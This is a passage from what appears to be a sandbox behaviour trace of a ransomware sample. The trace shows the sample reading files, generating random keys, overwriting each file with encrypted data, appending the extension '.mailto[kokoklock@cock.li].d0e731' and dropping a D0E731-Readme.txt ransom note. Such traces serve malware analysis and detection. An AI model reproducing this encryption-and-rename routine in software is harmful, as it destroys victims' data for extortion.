hFile=0x79c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbfafa3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbfafa3c*=0x4, lpOverlapped=0x0) returned 1 [0071.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.214] CloseHandle (hObject=0x79c) returned 1 [0071.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.214] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" [0071.214] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.214] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.215] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.215] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.215] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.215] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.215] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1040\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0071.215] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" [0071.215] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\d0e731-readme.txt")) returned 0xffffffff [0071.215] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x79c [0071.217] WriteFile (in: hFile=0x79c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xbfafa38, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xbfafa38*=0x481, lpOverlapped=0x0) returned 1 [0071.218] CloseHandle (hObject=0x79c) returned 1 [0071.218] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.218] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34270d0) returned 1 [0071.218] RtlExitUserThread (Status=0x1) Thread: id = 232 os_tid = 0x1218 [0063.487] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0066.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x71c [0068.722] GetFileSizeEx (in: hFile=0x71c, lpFileSize=0xc02f9b8 | out: lpFileSize=0xc02f9b8*=10125) returned 1 [0068.723] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x2789, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.723] ReadFile (in: hFile=0x71c, lpBuffer=0xc02f98c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc02f988, lpOverlapped=0x0 | out: lpBuffer=0xc02f98c*, lpNumberOfBytesRead=0xc02f988*=0x4, lpOverlapped=0x0) returned 1 [0068.724] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423fb0 [0068.724] NtQuerySystemTime (in: CurrentTime=0xc02f964 | out: CurrentTime=0xc02f964*=132121176266191489) returned 0x0 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x96f9d3b1 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x145efa5f [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x2965ad80 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x6dbe9708 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xa5dce74b [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x7fd4d643 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x78fe2486 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x60683847 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xe5d26d [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x1a1e167a [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x6b146d54 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x507676f6 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x3cc930dc [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xf36812cf [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x680ae513 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x4c2f9a90 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x131f4d13 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x45afecc5 [0068.724] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xa3587667 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xbc90a642 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xb6b36d9 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x840b1b84 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xc7632b9a [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xb37c1cc1 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x3ba2eb53 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x7872228e [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xa58c264f [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x77b420d3 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xaef96ff6 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0xb7d071 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x7469be64 [0068.725] RtlRandom (in: Seed=0xc02f970 | out: Seed=0xc02f970) returned 0x5bac3da6 [0068.735] ReadFile (in: hFile=0x71c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x278d, lpNumberOfBytesRead=0xc02f964, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc02f964*=0x278d, lpOverlapped=0x0) returned 1 [0068.736] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc02f92c | out: lpNewFilePointer=0x0) returned 1 [0068.736] WriteFile (in: hFile=0x71c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x278d, lpNumberOfBytesWritten=0xc02f960, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc02f960*=0x278d, lpOverlapped=0x0) returned 1 [0068.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.737] WriteFile (in: hFile=0x71c, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc02f95c, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc02f95c*=0x20, lpOverlapped=0x0) returned 1 [0068.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.737] WriteFile (in: hFile=0x71c, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc02f988, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xc02f988*=0x8, lpOverlapped=0x0) returned 1 [0068.737] WriteFile (in: hFile=0x71c, lpBuffer=0xc02f9a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc02f988, lpOverlapped=0x0 | out: lpBuffer=0xc02f9a0*, lpNumberOfBytesWritten=0xc02f988*=0x4, lpOverlapped=0x0) returned 1 [0068.737] WriteFile (in: hFile=0x71c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc02f988, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc02f988*=0x4, lpOverlapped=0x0) returned 1 [0068.737] WriteFile (in: hFile=0x71c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc02f988, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc02f988*=0x6c, lpOverlapped=0x0) returned 1 [0068.737] WriteFile (in: hFile=0x71c, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc02f988, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xc02f988*=0x20, lpOverlapped=0x0) returned 1 [0068.737] WriteFile (in: hFile=0x71c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc02f988, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc02f988*=0x4, lpOverlapped=0x0) returned 1 [0068.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424000) returned 1 [0068.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.737] CloseHandle (hObject=0x71c) returned 1 [0071.194] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.194] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1041\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf" [0071.194] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.194] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.197] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.197] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.197] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1041\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0071.197] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" [0071.197] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\d0e731-readme.txt")) returned 0x20 [0071.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33faa58) returned 1 [0071.197] RtlExitUserThread (Status=0x1) Thread: id = 233 os_tid = 0x121c [0063.487] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0064.588] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.173] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x79c [0071.173] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0xc0afe9c | out: lpFileSize=0xc0afe9c*=68226) returned 1 [0071.174] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x10a7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.174] ReadFile (in: hFile=0x79c, lpBuffer=0xc0afe70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc0afe6c, lpOverlapped=0x0 | out: lpBuffer=0xc0afe70*, lpNumberOfBytesRead=0xc0afe6c*=0x4, lpOverlapped=0x0) returned 1 [0071.175] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c58 [0071.175] NtQuerySystemTime (in: CurrentTime=0xc0afe48 | out: CurrentTime=0xc0afe48*=132121176290723402) returned 0x0 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x7bf64e06 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xfdec6805 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xbc85b304 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xcd6f2717 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x69461566 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xe7ad3fed [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x44dac498 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x30765232 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xd62dfc35 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xddf9dfd1 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x716a9cb5 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xcd67ea54 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x11408c71 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x6d4e0f4d [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xad43cc9b [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xfa666bca [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xd4cefccb [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xec01d41b [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xe79f8527 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x12a641ba [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xb623b862 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x8a3c2c88 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xd5a27a7f [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xf6ae89a3 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x6f6a036f [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x6b5a248a [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x2379083d [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xec1b10f6 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xa9aa4603 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x112943cd [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0x263dc917 [0071.176] RtlRandom (in: Seed=0xc0afe54 | out: Seed=0xc0afe54) returned 0xf55ff037 [0071.187] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.187] ReadFile (in: hFile=0x79c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc0afe20, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc0afe20*=0x4096, lpOverlapped=0x0) returned 1 [0071.188] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422de8 [0071.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.190] WriteFile (in: hFile=0x79c, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc0afe20, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xc0afe20*=0x4096, lpOverlapped=0x0) returned 1 [0071.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.190] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x10a82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.190] WriteFile (in: hFile=0x79c, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc0afe58, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xc0afe58*=0x20, lpOverlapped=0x0) returned 1 [0071.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.190] WriteFile (in: hFile=0x79c, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc0afe6c, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xc0afe6c*=0x8, lpOverlapped=0x0) returned 1 [0071.190] WriteFile (in: hFile=0x79c, lpBuffer=0xc0afe84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc0afe6c, lpOverlapped=0x0 | out: lpBuffer=0xc0afe84*, lpNumberOfBytesWritten=0xc0afe6c*=0x4, lpOverlapped=0x0) returned 1 [0071.190] WriteFile (in: hFile=0x79c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc0afe6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc0afe6c*=0x4, lpOverlapped=0x0) returned 1 [0071.190] WriteFile (in: hFile=0x79c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc0afe6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc0afe6c*=0x6c, lpOverlapped=0x0) returned 1 [0071.191] WriteFile (in: hFile=0x79c, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc0afe6c, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xc0afe6c*=0x20, lpOverlapped=0x0) returned 1 [0071.191] WriteFile (in: hFile=0x79c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc0afe6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc0afe6c*=0x4, lpOverlapped=0x0) returned 1 [0071.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.191] CloseHandle (hObject=0x79c) returned 1 [0071.191] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.191] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" [0071.191] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.191] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.192] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.192] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.192] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.192] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.192] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1041\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0071.192] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" [0071.192] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\d0e731-readme.txt")) returned 0xffffffff [0071.192] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a0 [0071.194] WriteFile (in: hFile=0x7a0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc0afe68, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc0afe68*=0x481, lpOverlapped=0x0) returned 1 [0071.195] CloseHandle (hObject=0x7a0) returned 1 [0071.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427138) returned 1 [0071.195] RtlExitUserThread (Status=0x1) Thread: id = 234 os_tid = 0x1220 [0063.488] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: 